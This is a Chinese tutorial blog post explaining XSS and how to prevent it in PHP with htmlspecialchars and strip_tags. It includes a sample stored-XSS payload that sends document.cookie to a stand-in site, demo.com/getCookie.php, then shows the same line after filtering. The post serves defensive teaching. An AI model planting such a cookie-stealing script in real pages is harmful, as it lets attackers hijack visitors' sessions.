如何预防 XSS 攻击?

来源:互联网 发布:无线传感器网络应用 编辑:程序博客网 时间:2024/06/10 07:20
XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。
原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。

理论上来说,web页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞。

1. XSS 攻击示例
有一个博客网站,提供了一个web页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。
现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:
<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>

这是一段恶意代码,这样,当其他用户查看我的这篇博客时,他们的cookie信息就会被发送至我的web站点(http://demo.com/),如此,我就盗取了其他用户的cookie信息。

2. 预防 XSS 攻击
核心:永远不要相信用户的输入,必须对输入的数据作过滤处理。

在 PHP 中,可以使用 htmlspecialchars 函数对用户提交的表单数据进行过滤。该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ' " & < >。比如,我刚刚的恶意代码被 htmlspecialchars 过滤后,会变为下面的代码:
&lt;b&gt;This is a XSS test!&lt;/b&gt;&lt;script&gt;var cookie = document.cookie;window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);&lt;/script&gt;
这样,就可以预防大部分 XSS 攻击了。
虽然,经过 htmlspecialchars 过滤后,脚本代码无法执行了,但像 <script> 这样的无意义字符还是显示在了web页面上,有时,我们也并不希望其被显示出来,就可以使用 strip_tags 函数过滤掉字符串中的 html 标记和 php标记。比如,我刚刚的恶意代码被 strip_tags 过滤后,就会变成下面的代码:
This is a XSS test!var cookie = document.cookie;window.open("http://demo.com/getCookie.php?param="+cookie);

当然,除了不要相信用户的输入,就连自身的输出也不要太过自信。假如,攻击者直接攻击了数据库,在数据表中写入了某些脚本代码,那么,此时我们从数据库中读取出来的数据也可能含有可执行的恶意代码,因此,在页面输出时,我们也可以使用上面的函数对输出的数据先进行过滤处理,然后再来输出。


1 0